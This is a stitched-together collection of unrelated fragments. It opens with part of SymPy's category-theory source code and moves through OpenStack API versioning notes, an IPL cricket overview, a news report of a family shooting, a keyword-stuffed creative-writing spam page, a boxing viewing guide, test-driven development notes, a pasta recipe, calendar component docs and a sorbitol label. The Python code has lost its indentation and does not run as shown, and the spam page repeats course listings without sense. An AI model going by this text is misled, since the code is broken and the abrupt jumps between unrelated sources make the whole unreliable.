Concrete cases of (abstract) categories should be implemented as
classes derived from this one.
Certain instances of :class:`Diagram` can be asserted to be
commutative in a :class:`Category` by supplying the argument
``commutative_diagrams`` in the constructor.
Examples
========
>>> from sympy.categories import Object, NamedMorphism, Diagram, Category
>>> from sympy import FiniteSet
>>> A = Object("A")
>>> B = Object("B")
>>> C = Object("C")
>>> f = NamedMorphism(A, B, "f")
>>> g = NamedMorphism(B, C, "g")
>>> d = Diagram([f, g])
>>> K = Category("K", commutative_diagrams=[d])
>>> K.commutative_diagrams == FiniteSet(d)
True
See Also
========
Diagram
"""
def __new__(cls, name, objects=EmptySet(), commutative_diagrams=EmptySet()):
if not name:
raise ValueError("A Category cannot have an empty name.")
new_category = Basic.__new__(cls, Symbol(name), Class(objects),
FiniteSet(*commutative_diagrams))
return new_category
@property
def name(self):
"""
Returns the name of this category.
Examples
========
>>> from sympy.categories import Category
>>> K = Category("K")
>>> K.name
'K'
"""
return self.args[0].name
@property
def objects(self):
"""
Returns the class of objects of this category.
Examples
========
>>> from sympy.categories import Object, Category
>>> from sympy import FiniteSet
>>> A = Object("A")
>>> B = Object("B")
>>> K = Category("K", FiniteSet(A, B))
>>> K.objects
Class({Object("A"), Object("B")})
"""
return self.args[1]
@property
def commutative_diagrams(self):
"""
Returns the :class:`FiniteSet` of diagrams which are known to
be commutative in this category.
>>> from sympy.categories import Object, NamedMorphism, Diagram, Category
>>> from sympy import FiniteSet
>>> A = Object("A")
>>> B = Object("B")
>>> C = Object("C")
>>> f = NamedMorphism(A, B, "f")
>>> g = NamedMorphism(B, C, "g")
>>> d = Diagram([f, g])
>>> K = Category("K", commutative_diagrams=[d])
>>> K.commutative_diagrams == FiniteSet(d)
True
"""
return self.args[2]
def hom(self, A, B):
raise NotImplementedError(
"hom-sets are not implemented in Category.")
def all_morphisms(self):
raise NotImplementedError(
"Obtaining the class of morphisms is not implemented in Category.")
[docs]class Diagram(Basic):
r"""
Represents a diagram in a certain category.
Informally, a diagram is a collection of objects of a category and
certain morphisms between them. A diagram is still a monoid with
respect to morphism composition; i.e., identity morphisms, as well
as all composites of morphisms included in the diagram belong to
the diagram. For a more formal approach to this notion see
[Pare1970].
The components of composite morphisms are also added to the
diagram. No properties are assigned to such morphisms by default.
A commutative diagram is often accompanied by a statement of the
following kind: "if such morphisms with such properties exist,
then such morphisms which such properties exist and the diagram is
commutative". To represent this, an instance of :class:`Diagram`
includes a collection of morphisms which are the premises and
another collection of conclusions. ``premises`` and
``conclusions`` associate morphisms belonging to the corresponding
categories with the :class:`FiniteSet`'s of their properties.
The set of properties of a composite morphism is the intersection
of the sets of properties of its components. The domain and
codomain of a conclusion morphism should be among the domains and
codomains of the morphisms listed as the premises of a diagram.
No checks are carried out of whether the supplied object and
morphisms do belong to one and the same category.
Examples
========
>>> from sympy.categories import Object, NamedMorphism, Diagram
>>> from sympy import FiniteSet, pprint, default_sort_key
>>> A = Object("A")
>>> B = Object("B")
>>> C = Object("C")
>>> f = NamedMorphism(A, B, "f")
>>> g = NamedMorphism(B, C, "g")
>>> d = Diagram([f, g])
>>> premises_keys = sorted(d.premises.keys(), key=default_sort_key)
>>> pprint(premises_keys, use_unicode=False)
[g*f:A-->C, id:A-->A, id:B-->B, id:C-->C, f:A-->B, g:B-->C]
>>> pprint(d.premises, use_unicode=False)
{g*f:A-->C: EmptySet(), id:A-->A: EmptySet(), id:B-->B: EmptySet(), id:C-->C:
EmptySet(), f:A-->B: EmptySet(), g:B-->C: EmptySet()}
>>> d = Diagram([f, g], {g * f: "unique"})
>>> pprint(d.conclusions)
{g*f:A-->C: {unique}}
References
==========
[Pare1970] B. Pareigis: Categories and functors. Academic Press,
1970.
"""
@staticmethod
def _set_dict_union(dictionary, key, value):
"""
If ``key`` is in ``dictionary``, set the new value of ``key``
to be the union between the old value and ``value``.
Otherwise, set the value of ``key`` to ``value.
Returns ``True`` if the key already was in the dictionary and
``False`` otherwise.
"""
if key in dictionary:
dictionary[key] = dictionary[key] | value
return True
else:
dictionary[key] = value
return False
@staticmethod
def _add_morphism_closure(morphisms, morphism, props, add_identities=True,
recurse_composites=True):
"""
Adds a morphism and its attributes to the supplied dictionary
``morphisms``. If ``add_identities`` is True, also adds the
identity morphisms for the domain and the codomain of
``morphism``.
"""
if not Diagram._set_dict_union(morphisms, morphism, props):
# We have just added a new morphism.
if isinstance(morphism, IdentityMorphism):
if props:
# Properties for identity morphisms don't really
# make sense, because very much is known about
# identity morphisms already, so much that they
# are trivial. Having properties for identity
# morphisms would only be confusing.
raise ValueError(
"Instances of IdentityMorphism cannot have properties.")
return
if add_identities:
empty = EmptySet()
id_dom = IdentityMorphism(morphism.domain)
id_cod = IdentityMorphism(morphism.codomain)
Diagram._set_dict_union(morphisms, id_dom, empty)
Diagram._set_dict_union(morphisms, id_cod, empty)
for existing_morphism, existing_props in list(morphisms.items()):
new_props = existing_props & props
if morphism.domain == existing_morphism.codomain:
left = morphism * existing_morphism
Diagram._set_dict_union(morphisms, left, new_props)
if morphism.codomain == existing_morphism.domain:
right = existing_morphism * morphism
Diagram._set_dict_union(morphisms, right, new_props)
if isinstance(morphism, CompositeMorphism) and recurse_composites:
# This is a composite morphism, add its components as
# well.
empty = EmptySet()
for component in morphism.components:
Diagram._add_morphism_closure(morphisms, component, empty,
add_identities)
def __new__(cls, *args):
"""
Construct a new instance of Diagram.
If no arguments are supplied, an empty diagram is created.
If at least an argument is supplied, ``args[0]`` is
interpreted as the premises of the diagram. If ``args[0]`` is
a list, it is interpreted as a list of :class:`Morphism`'s, in
which each :class:`Morphism` has an empty set of properties.
If ``args[0]`` is a Python dictionary or a :class:`Dict`, it
is interpreted as a dictionary associating to some
:class:`Morphism`'s some properties.
If at least two arguments are supplied ``args[1]`` is
interpreted as the conclusions of the diagram. The type of
``args[1]`` is interpreted in exactly the same way as the type
of ``args[0]``. If only one argument is supplied, the diagram
has no conclusions.
Examples
========
>>> from sympy.categories import Object, NamedMorphism
>>> from sympy.categories import IdentityMorphism, Diagram
>>> A = Object("A")
>>> B = Object("B")
>>> C = Object("C")
>>> f = NamedMorphism(A, B, "f")
>>> g = NamedMorphism(B, C, "g")
>>> d = Diagram([f, g])
>>> IdentityMorphism(A) in d.premises.keys()
True
>>> g * f in d.premises.keys()
True
>>> d = Diagram([f, g], {g * f: "unique"})
>>> d.conclusions[g * f]
{unique}
"""
premises = {}
conclusions = {}
# Here we will keep track of the objects which appear in the
# premises.
objects = EmptySet()
if len(args) >= 1:
# We've got some premises in the arguments.
premises_arg = args[0]
if isinstance(premises_arg, list):
# The user has supplied a list of morphisms, none of
# which have any attributes.
empty = EmptySet()
for morphism in premises_arg:
objects |= FiniteSet(morphism.domain, morphism.codomain)
Diagram._add_morphism_closure(premises, morphism, empty)
elif isinstance(premises_arg, dict) or isinstance(premises_arg, Dict):
# The user has supplied a dictionary of morphisms and
# their properties.
for morphism, props in premises_arg.items():
objects |= FiniteSet(morphism.domain, morphism.codomain)
Diagram._add_morphism_closure(
premises, morphism, FiniteSet(*props) if iterable(props) else FiniteSet(props))
if len(args) >= 2:
# We also have some conclusions.
conclusions_arg = args[1]
if isinstance(conclusions_arg, list):
# The user has supplied a list of morphisms, none of
# which have any attributes.
empty = EmptySet()
for morphism in conclusions_arg:
# Check that no new objects appear in conclusions.
if ((sympify(objects.contains(morphism.domain)) is S.true) and
(sympify(objects.contains(morphism.codomain)) is S.true)):
# No need to add identities and recurse
# composites this time.
Diagram._add_morphism_closure(
conclusions, morphism, empty, add_identities=False,
recurse_composites=False)
elif isinstance(conclusions_arg, dict) or \
isinstance(conclusions_arg, Dict):
# The user has supplied a dictionary of morphisms and
# their properties.
for morphism, props in conclusions_arg.items():
# Check that no new objects appear in conclusions.
if (morphism.domain in objects) and \
(morphism.codomain in objects):
# No need to add identities and recurse
# composites this time.
Diagram._add_morphism_closure(
conclusions, morphism, FiniteSet(*props) if iterable(props) else FiniteSet(props),
add_identities=False, recurse_composites=False)
return Basic.__new__(cls, Dict(premises), Dict(conclusions), objects)
@property
def premises(self):
"""
Returns the premises of this diagram.
Examples
========
>>> from sympy.categories import Object, NamedMorphism
>>> from sympy.categories import IdentityMorphism, Diagram
>>> from sympy import pretty
>>> A = Object("A")
>>> B = Object("B")
>>> f = NamedMorphism(A, B, "f")
>>> id_A = IdentityMorphism(A)
>>> id_B = IdentityMorphism(B)
>>> d = Diagram([f])
>>> print(pretty(d.premises, use_unicode=False))
{id:A-->A: EmptySet(), id:B-->B: EmptySet(), f:A-->B: EmptySet()}
"""
return self.args[0]
@property
def conclusions(self):
"""
Returns the conclusions of this diagram.
Examples
========
>>> from sympy.categories import Object, NamedMorphism
>>> from sympy.categories import IdentityMorphism, Diagram
>>> from sympy import FiniteSet
>>> A = Object("A")
>>> B = Object("B")
>>> C = Object("C")
>>> f = NamedMorphism(A, B, "f")
>>> g = NamedMorphism(B, C, "g")
>>> d = Diagram([f, g])
>>> IdentityMorphism(A) in d.premises.keys()
True
>>> g * f in d.premises.keys()
True
>>> d = Diagram([f, g], {g * f: "unique"})
>>> d.conclusions[g * f] == FiniteSet("unique")
True
"""
return self.args[1]
@property
def objects(self):
"""
Returns the :class:`FiniteSet` of objects that appear in this
diagram.
Examples
========
>>> from sympy.categories import Object, NamedMorphism, Diagram
>>> A = Object("A")
>>> B = Object("B")
>>> C = Object("C")
>>> f = NamedMorphism(A, B, "f")
>>> g = NamedMorphism(B, C, "g")
>>> d = Diagram([f, g])
>>> d.objects
{Object("A"), Object("B"), Object("C")}
"""
return self.args[2]
[docs] def hom(self, A, B):
"""
Returns a 2-tuple of sets of morphisms between objects A and
B: one set of morphisms listed as premises, and the other set
of morphisms listed as conclusions.
Examples
========
>>> from sympy.categories import Object, NamedMorphism, Diagram
>>> from sympy import pretty
>>> A = Object("A")
>>> B = Object("B")
>>> C = Object("C")
>>> f = NamedMorphism(A, B, "f")
>>> g = NamedMorphism(B, C, "g")
>>> d = Diagram([f, g], {g * f: "unique"})
>>> print(pretty(d.hom(A, C), use_unicode=False))
({g*f:A-->C}, {g*f:A-->C})
See Also
========
Object, Morphism
"""
premises = EmptySet()
conclusions = EmptySet()
for morphism in self.premises.keys():
if (morphism.domain == A) and (morphism.codomain == B):
premises |= FiniteSet(morphism)
for morphism in self.conclusions.keys():
if (morphism.domain == A) and (morphism.codomain == B):
conclusions |= FiniteSet(morphism)
return (premises, conclusions)
[docs] def is_subdiagram(self, diagram):
"""
Checks whether ``diagram`` is a subdiagram of ``self``.
Diagram `D'` is a subdiagram of `D` if all premises
(conclusions) of `D'` are contained in the premises
(conclusions) of `D`. The morphisms contained
both in `D'` and `D` should have the same properties for `D'`
to be a subdiagram of `D`.
Examples
========
>>> from sympy.categories import Object, NamedMorphism, Diagram
>>> A = Object("A")
>>> B = Object("B")
>>> C = Object("C")
>>> f = NamedMorphism(A, B, "f")
>>> g = NamedMorphism(B, C, "g")
>>> d = Diagram([f, g], {g * f: "unique"})
>>> d1 = Diagram([f])
>>> d.is_subdiagram(d1)
True
>>> d1.is_subdiagram(d)
False
"""
premises = all([(m in self.premises) and
(diagram.premises[m] == self.premises[m])
for m in diagram.premises])
if not premises:
return False
conclusions = all([(m in self.conclusions) and
(diagram.conclusions[m] == self.conclusions[m])
for m in diagram.conclusions])
# Premises is surely ``True`` here.
return conclusions
[docs] def subdiagram_from_objects(self, objects):
"""
If ``objects`` is a subset of the objects of ``self``, returns
a diagram which has as premises all those premises of ``self``
which have a domains and codomains in ``objects``, likewise
for conclusions. Properties are preserved.
Examples
========
>>> from sympy.categories import Object, NamedMorphism, Diagram
>>> from sympy import FiniteSet
>>> A = Object("A")
>>> B = Object("B")
>>> C = Object("C")
>>> f = NamedMorphism(A, B, "f")
>>> g = NamedMorphism(B, C, "g")
>>> d = Diagram([f, g], {f: "unique", g*f: "veryunique"})
>>> d1 = d.subdiagram_from_objects(FiniteSet(A, B))
>>> d1 == Diagram([f], {f: "unique"})
True
"""
if not objects.is_subset(self.objects):
raise ValueError(
"Supplied objects should all belong to the diagram.")
new_premises = {}
for morphism, props in self.premises.items():
if ((sympify(objects.contains(morphism.domain)) is S.true) and
(sympify(objects.contains(morphism.codomain)) is S.true)):
new_premises[morphism] = props
new_conclusions = {}
for morphism, props in self.conclusions.items():
if ((sympify(objects.contains(morphism.domain)) is S.true) and
(sympify(objects.contains(morphism.codomain)) is S.true)):
new_conclusions[morphism] = props
return Diagram(new_premises, new_conclusions)


The API versioning schemes in use in OpenStack vary between services and have evolved since the early days of OpenStack. There are two types of API versioning to consider: the major version and the minor version. Today, most OpenStack services have settled on a single major API version and have chosen to evolve the API without bumping the major API version any further. There are three API minor versioning schemes in common use.
Per-release versions
This is used by the Image service (glance) and Identity service (keystone). All changes to the API during a given release cycle are gathered into a single new API version. As such, the API version will increase at most once per release. You can continue to request older versions.
For example, consider the Image (glance) API.
| Release | Supported 2.x API versions |
|---|---|
| Grizzly | 2.0 - 2.1 |
| Havana | 2.0 - 2.2 |
| Kilo | 2.0 - 2.3 |
| … | … |
Microversions
This is used by multiple services including the Compute service (nova), Block Storage service (cinder), and Shared Filesystem service (manila). Each change to the API will result in a new API version. As such, the API version can increase multiple times per release. You can continue to request older versions.
For example, consider the Compute (nova) API.
| Release | Supported 2.x API versions |
|---|---|
| Kilo | 2.1 - 2.3 |
| Liberty | 2.1 - 2.12 |
| Mitaka | 2.1 - 2.25 |
| … | … |
Extensions
This is used by the Networking service (neutron). It’s a versioning scheme that doesn’t use API versions. Instead, it exposes a list of available extensions. An extension can add, remove or modify features and vendor-specific functionality to the API. This can include API resources/routes as well as new fields in API requests and responses. If you want to depend on a feature added by an extension, you should check if the extension is present.


This tool will help you test your package migrations.Simply select the package name from the dropdown and you will see all the Migrations in an overview.Press up, or down to test the Migrations.


{% load url from future %}
Change Colors
Randomize
Order By Name
Order By Rating
Show 25
Show 100
Show 200
Show 500
Show All
List All Movies
Compare Movies


The Indian Premier League (IPL), officially Vivo Indian Premier League for sponsorship reasons, is a professional Twenty20 cricket league in India contested during April and May of every year by teams representing Indian cities. The league was founded by the Board of Control for Cricket in India (BCCI) in 2007, and is regarded as the brainchild of Lalit Modi, the founder and former commissioner of the league. The current IPL title holders are the Mumbai Indians, who won the 2017 Indian Premier League.
The IPL is the most-attended cricket league in the world and ranks sixth among all sports leagues.[5] In 2010, the IPL became the first sporting event in the world to be broadcast live on YouTube.[6][7] The brand value of IPL in 2017 was US$5.3 billion, according to Duff & Phelps. According to BCCI, the 2015 IPL season contributed ₹11.5 billion (US$182 million) to the GDP of the Indian economy.
Currently, with eight teams, each team plays each other twice in a home-and-away round-robin format in the league phase. At the conclusion of the league stage, the top four teams will qualify for the playoffs. The top two teams from the league phase will play against each other in the first Qualifying match, with the winner going straight to the IPL final and the loser getting another chance to qualify for the IPL final by playing the second Qualifying match. Meanwhile, the third and fourth place teams from league phase play against each other in an eliminator match and the winner from that match will play the loser from the first Qualifying match. The winner of the second Qualifying match will move onto the final to play the winner of the first Qualifying match in the IPL Final match, where the winner will be crowned the Indian Premier League champions.
The 2015 season of the IPL offered a total prize money of ₹40 crore (US$6.2 million), with the winning team netting ₹15 crore (US$2.3 million).[27] The first and second runners up received 10 and 7.5 crores, respectively, with the fourth placed team also winning 7.5 crores. The others teams are not awarded any prize money. The IPL rules mandate that half of the prize money must be distributed among the players
IPL games utilise television timeouts and hence there is no time limit in which teams must complete their innings. However, a penalty may be imposed if the umpires find teams misusing this privilege. Each team is given a two-and-a-half-minute "strategic timeout" during each innings; one must be taken by the bowling team between the ends of the 6th and 9th overs, and one by the batting team between the ends of the 13th and 16th overs


Thursday 7:30pm-9:00pm Clark Hall 205
Friday 10:00am-11:30pm MLK room announced weekly (10/12/18: 662)
Mission statement:
Hoplite aims at helping the students at San Jose State University who desire to land a software engineer job, learning and practicing the coding interview questions asked historically.


Feel free to press the button below to start recording you flatulence
Then click the button below to send them an email with attachment that sums up your taco bell experience!


Welcome to Adsense For Charities. If you have never been here before, please take a moment to read this. This web application is currently still in development. To begin, click the button Watch Ads. From there, you will be generating money. Whatever you generate will go directly to the charity you choose from the 20 we have listed! Thank you for your participation.
We have researched the 20 largest charities in the country. Below is a link to information on all of them so please take some time to get acquainted! We have charities that participate in countless things that you would astound you.


| Fuel Level |
Total Production/Day |
Operation Time |
Last Maintenance |
Equipment Check |
Today's Schedule |
|
0%
|
0 items |
0 hours |
00/00/0000 |
Oil
Accu
Bearing
|
0 |
| Fuel Level |
Total Production/Day |
Operation Time |
Last Maintenance |
Equipment Check |
Today's Schedule |
|
0%
|
0 items |
0 hours |
00/00/0000 |
Oil
Accu
Bearing
|
0 |
| Fuel Level |
Total Production/Day |
Operation Time |
Last Maintenance |
Equipment Check |
Today's Schedule |
|
0%
|
0 items |
0 hours |
00/00/0000 |
Oil
Accu
Bearing
|
0 |
| Fuel Level |
Total Production/Day |
Operation Time |
Last Maintenance |
Equipment Check |
Today's Schedule |
|
0%
|
0 items |
0 hours |
00/00/0000 |
Oil
Accu
Bearing
|
0 |
| Fuel Level |
Total Production/Day |
Operation Time |
Last Maintenance |
Equipment Check |
Today's Schedule |
|
0%
|
0 items |
0 hours |
00/00/0000 |
Oil
Accu
Bearing
|
0 |


5 dead, including three boys under 10, after shooting at San Diego home
by Morgan PhillipsFive people, including three boys under the age of 10, were killed Saturday in an apparent murder-suicide at a home in the Paradise Hills neighborhood of San Diego, police said.
Lt. Matt Dobbs told reporters that officers responded to a 911 call during which dispatchers heard the sound of arguing in the background. Soon after, a relative who lived next door called 911 and reported hearing arguing and what sounded like a nail gun being fired.
The victims include a 31-year-old man, a 29-year-old woman, a 9-year-old boy, a 5-year-old boy and a 3-year-old boy. An 11-year-old boy was also taken to the hospital to undergo surgery.
NEW JERSEY HIGH SCHOOL FOOTBALL SHOOTING LEAVES AT LEAST 2 WOUNDED
The 31-year-old man is believed to have shot his wife and four children in the domestic dispute. Dobbs said the man's wife obtained a restraining order against her husband, from whom she'd been separated from for some time, yesterday but it was unclear whether that restraining order had been served or whether the suspect was aware of it.
Dobbs added that officers responded to the same address on Nov. 1 over a property dispute. The husband had asked for some tools from the wife and the matter had escalated to a domestic disturbance. At that time, police gave the wife with information as to how to retain a restraining order against her husband.
“I heard some gunshots,” said Sanya Gordon, who lives nearby, told Fox 5 San Diego on Saturday.  I saw them taking the bodies out of the house. I felt sick to my stomach.”
Gordon said she hadn’t known the children personally, but saw them playing with the other neighborhood kids outside and riding their bicycles frequently.
CLICK HERE TO GET THE FOX NEWS APP
Dobbs said the mother and four children lived in a unit next to a main house occupied by other family members.


Ploror688.github.io
F71 - MA in Creative Writing - Open University. Creative writing courses in London and Online Faber. Studying Creative Writing will equip you with an adaptable set of skills that can give entry to a vast range of occupations and career directions. A802 - MA Creative Writing part 1 - Open University Course. Turn your passion for words into a career with a master's in creative writing online from nonprofit, accredited Southern New Hampshire University. Find out more about studying Creative Writing (Distance Learning) MA at Lancaster University.
About The Penmen Review. The Penmen Review is Southern New Hampshire University’s online journal for creative writers, featuring resource articles, spotlight. Creativity Portal to Muses, Writing Prompts, Inspiration.
Find out more about Falmouth University's MA Professional Writing postgraduate course in the School of Writing Journalism. Creative Writing MA Postgraduate Taught Study. Department of English City, University of London. Tromsø Academy of Contemporary Art and Creative Writing Kunstakademiet i Tromsø Dáiddaakademia Romssa. Visiting address Grønnegata 1, 9008 Tromsø. San Diego Mesa College Creative Writing Program. Writing, Literature Publishing Emerson College. Strengthen your storytelling craft and business skills to prepare for a career in writing with SNHU’s online MFA in Creative Writing. No residency needed. Amazon.com: The Cambridge Introduction to Creative Writing (Cambridge Introductions to Literature)<PHONE_NUMBER>543): David Morley: Books.
In the Department of Writing, Literature and Publishing, writers work on refining their talent to succeed in today’s evolving literary landscape.
Online MFA in Creative Writing. Creativity Portal inspires deeper levels of creative engagement and reflection through consciousness raising content, creativity coaching articles, art and writing. Faber Academy creative writing courses take place at Bloomsbury House, a publishing house right in the literary heart of London.
MFA Programs Database Poets Writers. Penmen Review - Southern New Hampshire University's Online. The Best Free Online Writing Courses for Creative Writers.
Creative Writing (Distance Learning) MA Lancaster University. An opportunity to develop your skills as a writer in fiction, poetry, creative nonfiction and scriptwriting Creative Writing for film, radio and the stage. Business General MBA MBA with concentration in Accounting, Finance, Management, Marketing or Real Estate Education All Education Graduate Programs Master of Education.
Amazon.com: The Handbook of Creative Writing. Learning And Studying And Writing: A DIY MA In Creative. Research. Bath Spa University Research Centre in Creative Writing is a prospering centre of excellence, representing perhaps the strongest academic teams of creative.
Masters Courses, Degrees : Study : University of Sussex. Written by Andrew Posted in The Writing Life Tagged with creative writing courses, learning, MA's, teaching 15 comments. October 5, 2013 - 11:29 am Debbie.
Christie Allred, Poetry, Intro to Creative Writing. Christie Allred, a native of San Diego, has been teaching at Mesa College since 1995. She earned her MA in English.
Graduate Admission Monmouth University Monmouth University. Tromsø Academy of Contemporary Art and Creative Writing. Have you ever bothered to look at the creative writing careers that are available?  Creative Writing - Bath Spa University.
The Creative Performance Practice MA at London South Bank University (LSBU) combines a range of approaches to performance making, including.
Find details about every creative writing competition—including poetry contests, short story competitions, essay contests, awards for novels, grants for translators. An extensive, practical and inspirational resource, this three-in-one volume is designed as a textbook for students and practitioners of creative writing at all levels. The Department of English, encompasses our undergraduate English programme as well as more specialist disciplines such as Creative Writing and Publishing which. Professional Writing MA Falmouth University.
Creative Performance Practice - MA London South. Learn to write better and take your career to the next level with this list of the best free online creative writing classes taught by award-winning authors. 20 Creative Writing Careers Writing Forward. PhD/MPhil Creative Writing - Swansea University. At Sussex, we offer a range of Masters degrees, including full and part-time degrees. You can apply for a range of Masters scholarships to help fund postgraduate. Swansea’s Creative Writing research programme offers a choice from a spectrum of skills and a research dialogue across genres, from poetry and fiction. Master's in Creative Writing Online MA Writing Program. Programme structure MA Creative Writing students study 180 credits in total. This includes a 60 credit dissertation and 120 credits of optional modules.


Welcome to JQuery
Please,Click Here!!!!!
WRITE LESS, DO MORE
H
E
L
L
O
Click to Go Another
Viviane Moussa
CNAM STUDENT
phone: 8234
office: 102 Bldg 1
email: vivo.moussa@hotmail.com


Name
-
Used as a namespace for business block. the notification’s name is ‘com.Sky-And-Hammer.ios.GS.you_name’
For example:
public extension Notification.Name { public static let networkStateChanged = Notification.Name.named(by: "networkStateChanged") public static let networkStateChanged = Notification.Name.named(by: "networkStateChanged") }
Declaration
Swift
public static func named(by: String) -> Notification.Name


Your browser doesn't support impress.js. Try Chrome or Safari.
jsbots
BOT-ELOP-ER \BOT-L-UP-ER\
a person who enjoys mixing hardware with
software to create interesting gadgets,
useless contraptions or as seen on youtube inventions
...and we brought more than that in
our carry-on bags.
blink sketch
int led = 13;
void setup() {
pinMode(led, OUTPUT);
}
void loop() {
digitalWrite(led, HIGH);
delay(1000);
digitalWrite(led, LOW);
delay(1000);
}
very C++ like
but what about
Java, Python,
or even
Johnny Five
var five = require('johnny-five'),
board = new five.Board();
board.on('ready', function() {
(new five.Led(13)).strobe();
});
Node Serial Port
Firmata
Johnny Five


What US time is KSI vs Logan Paul? Start time plus USA TV, YouTube and live stream information
KSI and Logan Paul are heading to LA for their highly-anticipated rematch - and this time the stakes are much higher
by Aaron Flanagan, Martin Domin, https://www.mirror.co.uk/authors/aaron-flanagan/, https://www.facebook.com/mirrorfightingKSI and Logan Paul clash for a second time tonight - and this time it's professional.
The YouTube stars will bid to settle their rivalry once and for all and have come to Los Angeles for their eagerly-anticipated rematch.
Having fought to a controversial draw in Manchester last year in a white-collar bout, this time the social media stars have dispensed with the head guards and pulled on 10oz gloves.
They will star at the Staples Center in front of a 20,000 crowd after Eddie Hearn agreed to promote the sequel.
And such is their pulling power that world champions Billy Joe Saunders and Devin Hane, as well as a host of up-and-coming stars, have agreed to box on the undercard.
Here is everything you need to know about tonight's fights...
When is the fight?
The fight is taking place on Saturday November 9.

What US time is the fight likely to start?
The main event is expected to begin between 9pm and 10pm for those on west coast time. This is also the local start time, with the fight taking place in Los Angeles.
For those in central time in the USA, the action will begin between 11pm and midnight.
On the east coast, it will be between midnight and 1am.
For UK viewing information, follow this link.
What TV channel is the fight being shown on?
For those in the USA, it can solely be streamed on the DAZN service.
DAZN is only available for subscribers at a cost of $19.99 per month or $99 for the year.
Can you live stream the fight?
DAZN is an online streaming service and subscribers will be able to stream the fight onto their relevant devices.
Will the fight be shown on YouTube?
The fight will not be streamed on YouTube, unlike their first clash.
However, a pre-show, Countdown to KSI vs Logan Paul 2, will be shown on DAZN, KSI and Logan Paul's channel ahead of the event.
Is there a way to watch the fight for free?
No. Unfortunately, this is solely a pay-per-view event.
However, you can follow the action as it happens on the Mirror Fighting live blog.
Betting odds
- KSI: 7/4
- Draw: 10/1
- Logan Paul: 8/15
Odds courtesy of Ladbrokes.


Test-driven development Tech Meeting
What is TTD? What is a test?
I think of tests as automatic, preemptive debugging.
How many times have we written code and put in a console.log
(or println or whatever) to figure out whats going on?
If you have ever done this, you have written a test. Congrats.
But what if instead of waiting for a bug to occur and THEN
writing those tests, you wrote them in advance?
Not only would you understand the code you are writing better,
you could catch bugs before they ever happen
This is Test-Driven Development
For this talk I am going to go through the basics of unit
unit tests, assertions. Using the book Test-Driven Javascript Development
by Christian Johnsen. Then...
Section one: Automatic Unit Tests & Assertions
- Manually checking code in console
- Not Automated
- Requires investigation + repeated manual labor
- Ok, so lets at the very least copy our test into a basic html file (HTML test page)
- Assertions
- The most important part
- This requires the most thought and forces us to define state & expectations.
- Assertions are the heart of why TTD can help us craft better code
- An assestion is used to perform checks
- "I expect for a date Jan 25 1989
date.strfttime(%d)
to return 25"
- "I expect the button to turn blue when I click it
- 1.2 What does an assertion function have? (show code)
- message --> "It should equal 5"
- throw statement to throw and error if the assertion is false
- counter to keep track of number of tests ran
- What does this look like?
- A bunch of assert statements
- Test functions, Cases, Suites
- message --> "It should equal 5"
Testing frameworks
- QUnit Example
-
-
Jasmine Example
- uses describe blocks & it statements
- it===one test
- expect === assert
- Mocha Example
- compare contrast?
quint
-multiple test runners & tests (true for all?)
-in quint the test runners === suites
Directory Structure (organizing tests)
-
Vocabulary
vocab
-get index.html from distribution (test runner)
-code actually being tested (system under test)
-test file itself (file with assertions)
- Folders-->Files-->Fixtures(modules/classes)
- Have test dir mirror the src dir Need real life examples
-
- test-runner file organization--> 1 test runner file, or multiple
https://confluence.atlassian.com/bamboo/getting-started-with-node-js-and-bamboo-687213472.html


Hackathons provide a controlled environment for future jobseekers to test out
their skills and creativity. Participating in a hackathon is a great way to
connect with programmers, engineers, and designers at their best and worst
throughout those 36 hours.
Being a sponsor of HackMerced not only introduces your company to 500 students from schools all over the United States, but also provides an environment where you can test out new APIs, launch big ideas for hackers to build for you, interview potential candidates, as well get an easy tool for searching and qualifying recruits for your company.
The next budgeted item is to bring students from outside Merced either through reimbursments to students or hiring buses to connect our sister UCs from UC Berkeley, UCLA, UCI, UCSD, UC Davis, UCSC and UCR.
Finally our last budgeted items include prizes, server hosting and providing hackers with hackathon events, such as mini hacks games and midnight milkshakes or boba
Ruby sponsorships are meant for everyone and come with a wide range of choice and benefits
Send us an email at<EMAIL_ADDRESS>or fill out this lovely form below and we’ll repsond back to you ASAP.


Preparation time
less than 30 mins
Cooking time
30 mins to 1 hour
Serves
Serves 4-6
This seafood pasta is served with Piedmont peppers and fontina mash. Buy shop-bought pasta if you don’t have time to make the pasta by hand.
Preheat the oven to 200C/400F/Gas 6.
For the pasta, place the flour and salt in a large food processor and mix. Add the egg yolks and mix again until you have a mixture that resembles breadcrumbs.
Remove the mixture from the processor and gently knead until it comes together as a smooth dough. Wrap in cling film and rest in the fridge for at least an hour.
For the Piedmont peppers, put half a tomato inside each halved pepper and sprinkle over the garlic, oil and basil and place in the oven for 20-30 minutes.
For the fontina mash, place the potatoes in a large saucepan of boiling water and cook for 15-20 minutes. Once soft, drain and place back in the pan. Add the butter, milk and cheese and mash until smooth. Set aside.
For the mussels, place the artichokes in a saucepan and add cold water just to cover the artichokes. Bring to a simmer and cook for 15-20 minutes. Drain and roughly chop the artichokes then set aside.
To prepare the mussels, wash the shells in cold water and pull off any stringy beards. Discard any mussels with broken shells, or any open ones that do not close when given a sharp tap.
For the pasta, roll the pasta though a pasta machine, put through the linguine setting and sprinkle with the semolina flour.
For the mussels, place a large frying pan on the heat and add the oil. Once hot, add the red onion and cook for three minutes. Add two-thirds of the garlic, all the chilli and the artichokes and cook for five minutes. Add the wine and cook until the volume of liquid has reduced by half. Add the tomatoes and reduce the heat to a gentle simmer.
Heat a large saucepan and add the onion, remaining garlic and the white wine. Cook for 3-4 minutes and then add the mussels. Place a lid on and cook until the mussels have opened. Discard any mussels that have not opened. Remove all but eight mussels from their shells.
Heat a large saucepan of boiling salted water and add the pasta and cook for 2-3 minutes and drain. Toss the onion mix through the pasta and add parsley.
To serve, pile the pasta at one end of the plate and dress the mussels and crab around the edge with the mash and peppers at the other end of the plate. Serve with a twist of black pepper.


<md-calendar>
is a component that renders a calendar that can be used to select a date.
It is a part of the <md-datepicker>
pane, however it can also be used on it's own.
| Parameter | Type | Description |
|---|---|---|
* ng-model
Date
|
Date |
The component's model. Should be a Date object. |
md-min-date
Date
|
Date |
Expression representing the minimum date. |
md-max-date
Date
|
Date |
Expression representing the maximum date. |
md-date-filter
function(Date): boolean
|
function(Date): boolean |
Function expecting a date and returning a boolean whether it can be selected or not. |
md-current-view
String
|
String |
Current view of the calendar. Can be either "month" or "year". |
md-mode
String
|
String |
Restricts the user to only selecting a value from a particular view.
This option can be used if the user is only supposed to choose from a certain date type
(e.g. only selecting the month). Can be either "month" or "day". Note that this will
overwrite the |


SORBITOL - sorbitol solution
Geri-Care Pharmaceuticals, Corp
